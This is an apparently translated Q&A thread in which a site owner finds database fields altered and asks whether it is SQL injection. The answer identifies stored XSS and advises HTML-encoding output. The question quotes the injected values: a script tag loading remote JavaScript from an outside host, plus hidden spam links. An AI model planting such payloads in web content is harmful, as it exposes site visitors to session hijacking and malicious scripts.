它是SQL注入吗?

Pra*_*ade 4 sql asp.net security

我发现我的SQL Server数据库字段被黑客攻击如下.请注意,Original Content该字段的现有值已更改为以下内容.

Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 >crack</a>
Run Code Online (Sandbox Code Playgroud)

我认为这是一个SQL注入攻击.如果没有,请指导.我已确保关注,但数据库每隔几天就被黑客攻击.

1)我的所有数据访问都在数据集文件中,即app_code\DataLayer.xsd.我调用我的数据方法如下.

Dim memberDAL As new membersTableAdapter 
Dim memberName As String = tbName.text
memberDAL.insertMember(memberName)
Run Code Online (Sandbox Code Playgroud)

上面的代码是否被限定为参数化查询.就我的问题而言,它是否是安全的数据访问.所有数据访问都以这种方式完成.有许多输入字段的表格,内容都在数据库中.然而,似乎正在发生的事情不是INSERT而是更新.甚至会员表也受到影响.例如,在aspnet_users表格中,名为"admin"的用户名更改为以下内容.

admin</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack</a></title><script src=http://dfrgcc.com/ur.php></script>
Run Code Online (Sandbox Code Playgroud)

2)我使用CAPTCHA排除机器人,但这没有帮助.

我在共享主机上,根据服务器管理员我需要清理我的代码.请指教.

And*_*ndy 16

这是一次XSS攻击.您的数据库尚未受到损害,但它现在包含在您的域上下文中执行的外部托管Javascript的链接.这意味着他们可能能够劫持用户的会话,或代表用户提出请求.

您应该对输出到页面的数据进行HTML编码 - 替换<with &lt;(以及其余部分)将"上下文编码"数据,确保应该是纯文本(上面的"注入"HTML)作为文本输出,并且不被浏览器解释为HTML(和Javascript).

要了解更多信息,请查看OWASP文章.

  • 另请参阅XSS Prevention备忘单https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet (2认同)